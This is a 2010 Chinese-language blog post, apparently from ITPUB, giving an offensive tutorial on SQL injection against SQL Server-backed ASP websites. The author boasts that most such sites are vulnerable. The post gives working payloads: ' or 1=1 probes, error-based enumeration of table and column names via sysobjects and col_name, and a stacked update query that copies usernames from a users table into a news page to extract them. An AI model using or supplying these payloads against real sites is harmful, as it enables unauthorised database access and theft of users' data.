專門針對SQL Server的注入手段

iSQlServer發表於2010-03-19

小弟潛心研究sql injection一個余月,發現國記憶體在sql injection漏洞的網站一大把一大把,80%以上的asp網站都似乎是不學無術、騙吃騙喝的“程式設計師”所做。不光漏洞多,而且網站內部結構也是零亂無比……

關於sql injection網上流傳甚廣的SQL隱碼攻擊天書可以說是非常不錯的入門介紹了,在這裡也要重複一些老套的手法。

首先上手的都是1=1,1=2的方法測試驗證漏洞,字元則用' or 1=1 or '1'='。

而sql server特別的還有user>0,db_name()>0。但是這些手法都只是檢測漏洞的方法,真正有用的在下面。

1、獲得所有的Table表名

(Select distinct Top 1 name from sysobjects where xtype='U' and status>0 and name not in (select distinct top i name from sysobjects where xtype='U' and status>0 order by name) order by name)>0

i為一個整數,i取1時,返回第一個table name(按表名排序),2返回第二個,依此類推,直到什麼都沒有返回為止。

2、得到表名後再獲得欄位名(field name)

(Select Top 1 col_name(object_id('TableName'),i) from sysobjects)>0

這一句返回TableName這個表裡第i個欄位的名字

3、得到所有的表名以及裡面欄位名,估計對這個網站的結構也就有相應的瞭解了。然後怎樣獲得欄位中的資料呢?

如果是字串,自然用>0的技倆,如果是其它型別,那就找一個新聞之類的表,再用

;update news set caption=(select username from users where id=9) where newsid=100;--  之類的方法把你要的資料寫出來,這樣基本上就沒有你不知道的內容了。

我自己用VB做了個軟體,自動獲得表名和欄位名,速度極快,瞬間整個資料庫的結構就出來了。

當然這些不過是sql語句的構造而已,沒什麼過多的技術,另外這一個網頁也是sql server injection必備的喲[url]http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_tsqlcon_6lyk.asp[/url]

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/16436858/viewspace-629947/,如需轉載,請註明出處,否則將追究法律責任。

相關文章